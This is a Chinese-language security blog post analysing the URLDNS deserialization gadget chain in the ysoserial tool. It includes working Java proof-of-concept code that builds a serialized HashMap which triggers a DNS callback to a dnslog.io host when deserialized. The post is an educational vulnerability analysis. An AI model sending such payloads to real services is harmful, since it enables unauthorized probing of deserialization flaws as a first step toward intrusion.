之前对 ysoserial 这个工具,没有进行一个整体的通读,只是清楚如何利用,对 CC 链路也没分析完全,所以打算重新静下来仔细分析一下
首先看一下 ysoserial 的整个项目框架
ysoserial 主要有两种利用方式
java -jar 执行 payload 文件夹下的类,本地生成序列化的攻击载荷
java -cp 指定 exploit 文件夹下的类,主要用于远程攻击
分析 URLDNS 的这条反序列化链,我们先调试分析一下 ysoserial 生成反序列化数据的过程,之后不再做具体分析
添加启动参数之后,启动 debug 模式
通过查看项目的 pom.xml 文件,判断程序的入口文件 ysoserial.GeneratePayload
ysoserial.GeneratePayload#main
函数功能如下
在获取传入的值之后,会根据传入的 payloadType 判断其在项目中对应的类
ysoserial.payloads.ObjectPayload.Utils#getPayloadClass
ysoserial.payloads.ObjectPayload#getObject
URLDNS 实现了ObjectPayload 接口类中的 getObject 方法
ysoserial.payloads.URLDNS#getObject
序列化数据并输出
ysoserial.Serializer#serialize(java.lang.Object, java.io.OutputStream)
关于 ysoserial 对 URLDNS 的序列化数据生成到此,我们对 URLDNS 的反序列化进行详细分析
* Gadget Chain:
* HashMap.readObject()
* HashMap.putVal()
* HashMap.hash()
* URL.hashCode()
import java.io.*;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;
public class DnsTest {
public static void main(String[] args) throws Exception{
Object object = getObject("http://j2ts.l.dnslog.io");
runReadobject(object);
}
public static Object getObject(final String url) throws Exception {
HashMap <URL,String> hashMap = new HashMap<URL, String>();
URL url1 = new URL(url);
Field filed = Class.forName("java.net.URL").getDeclaredField("hashCode");
filed.setAccessible(true);
filed.set(url1,123);
hashMap.put(url1,"test");
filed.set(url1,-1);
return hashMap;
}
public static void runReadobject(Object object) throws Exception{
//序列化
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(outputStream);
objectOutputStream.writeObject(object);
objectOutputStream.close();
//反序列化
ByteArrayInputStream inputStream = new ByteArrayInputStream(outputStream.toByteArray());
ObjectInputStream objectInputStream = new ObjectInputStream(inputStream);
objectInputStream.readObject();
}
}
我注意到网络上分析 URLDNS 所构造的 POC 与 ysoserial 工具中的方法有所不同,具体原因还是挺有意思的,先对网上常见的 POC 进行一个分析
因为最后序列化的类是 HashMap 类型的,HashMap 中重写了 readObject 方法,因此执行的反序列化方法是 HashMap 中的 readObject 方法
java.util.HashMap#readObject
我们跟进 hash(key) 方法中
java.util.HashMap#hash
执行了 key.hashCode()
因为生成序列化数据时,key 为 java.net.URL
,所以继续跟进会到 URL 对象中的 hashCode 方法
java.net.URL#hashCode
在序列化时,通过反射设置 URL 的 hashCode 为 -1 ,所以继续跟进
java.net.URLStreamHandler#hashCode
hashCode 方法中 执行 getHostAddress(u);
,在其中会调用 InetAddress.getByName(host);
发送 DNSLOG 请求
java.net.URLStreamHandler#getHostAddress
ok 到此就是一个完整的反序列化的操作了,似乎并没有什么特殊的地方
我们回过头来再理解一下POC
创建 hashMap 、URL 对象
hashCode 是 private 属性,更改访问权限,使之允许修改
将 hashCode 的值设置为非 -1
将 URL 对象 put 进 hashMap
将 hashCode 的值设置为-1
返回 hashMap 对象
看上去第三步似乎是多次一举,先设置为非 -1,之后又设置为 -1
我们先把设置为非 -1 的操作给注释掉,再进行调试
我们注意到,还没有到反序列化,仅在生成数据的过程中就触发了 DNSLOG 请求
我们跟进跟进 hashMap 的 put 方法,发现跟触发反序列化链完全相同
java.util.HashMap#put
java.util.HashMap#hash
继续跟进到 hashCode()
方法,默认情况下 hashCode 的值就为 -1,之后会触发 DNSLOG 的请求
java.net.URL#hashCode
为了规避在本地生成数据时就会触发 DNSLOG 请求,所以我们首先设定 hashCode 的值 不为-1,等将 URL 对象 put 进 hashMap 之后,再将 hashCode 的值设定为 -1
而 ysosesrial 的方法似乎更为巧妙一些
import java.io.*;
import java.net.InetAddress;
import java.net.URL;
import java.net.URLConnection;
import java.net.URLStreamHandler;
import java.util.HashMap;
public class DnsTest {
public static void main(String[] args) throws Exception{
Object object = getObject("http://kcj6t.l.dnslog.io");
runReadobject(object);
}
public static Object getObject(final String url) throws Exception {
//Avoid DNS resolution during payload creation
//Since the field <code>java.net.URL.handler</code> is transient, it will not be part of the serialized payload.
URLStreamHandler handler = new SilentURLStreamHandler();
HashMap ht = new HashMap(); // HashMap that will contain the URL
URL u = new URL(null, url, handler); // URL to use as the Key
ht.put(u, url); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup.
Reflections.setFieldValue(u, "hashCode", -1); // During the put above, the URL's hashCode is calculated and cached. This resets that so the next time hashCode is called a DNS lookup will be triggered.
return ht;
}
static class SilentURLStreamHandler extends URLStreamHandler {
protected URLConnection openConnection(URL u) throws IOException {
return null;
}
protected synchronized InetAddress getHostAddress(URL u) {
return null;
}
}
public static void runReadobject(Object object) throws Exception{
//序列化
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(outputStream);
objectOutputStream.writeObject(object);
objectOutputStream.close();
//反序列化
ByteArrayInputStream inputStream = new ByteArrayInputStream(outputStream.toByteArray());
ObjectInputStream objectInputStream = new ObjectInputStream(inputStream);
objectInputStream.readObject();
}
}
写了一个类 SilentURLStreamHandler
继承URLStreamHandler
,然后再写了一个空的 getHostAddress 方法。JAVA 的继承子类的同名方法会覆盖父类的方法,这样的话,本来是要执行 java.net.URLStreamHandler#getHostAddress
方法,现在会执行 SilentURLStreamHandler#getHostAddress
。这样的话在生成数据的时候就不会触发 InetAddress.getByName(host);
发送 DNSLOG 请求。
但是为什么除了重写getHostAddress
方法之外还重写了 openConnection
方法,这是因为 URLStreamHandler
是一个抽象类,抽象类的子类必须实现抽象类中的所有抽象方法
关于 hashCode 的设置问题
public static void main(String[] args) throws Exception{
String url = "http://kcj6t.l.dnslog.io";
URLStreamHandler handler = new SilentURLStreamHandler();
HashMap ht = new HashMap();
URL u = new URL(null, url, handler); // URL to use as the Key
Object hascode0 = Reflections.getFieldValue(u,"hashCode");
System.out.println(hascode0);
ht.put(u, url); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup.
Object hascode1 = Reflections.getFieldValue(u,"hashCode");
System.out.println(hascode1);
Reflections.setFieldValue(u, "hashCode", -1); // During the put above, the URL's hashCode is calculated and cached. This resets that so the next time hashCode is called a DNS lookup will be triggered.
Object hascode2 = Reflections.getFieldValue(u,"hashCode");
System.out.println(hascode2);
}
在 URL 对象创建时,hashCode 的值,默认为 -1,在执行 HashMap.put 的操作时,会重置 hashCode 的值,因为 hashCode 的值并为被 transient
所修饰,所以此时 hashCode 的值就会被序列化并存储在数据中。 hashCode 的值不为 -1,就无法触发 DNSLOG。所以经过 HashMap.put 之后,还需通过反射将 hashcode 的值设置为-1.
还有就是 handler ,此时的 handler 是 SilentURLStreamHandler
,但因为他被 transient
所修饰,不会被序列化,所以在反序列化时还是会执行 URLStreamHandler
中的 getHostAddress
方法
* java.util.HashMap#readObject
* java.util.HashMap#hash
* java.net.URL#hashCode
* java.net.URLStreamHandler#hashCode
* java.net.URLStreamHandler#getHostAddress
Java 反序列化漏洞(6) – 解密 YSoSerial : URLDNS POP Chain
Java安全之反序列化篇-URLDNS&Commons Collections 1-7反序列化链分析
本文作者:Whippet
本文为安全脉搏专栏作者发布,转载请注明:https://www.secpulse.com/archives/157407.html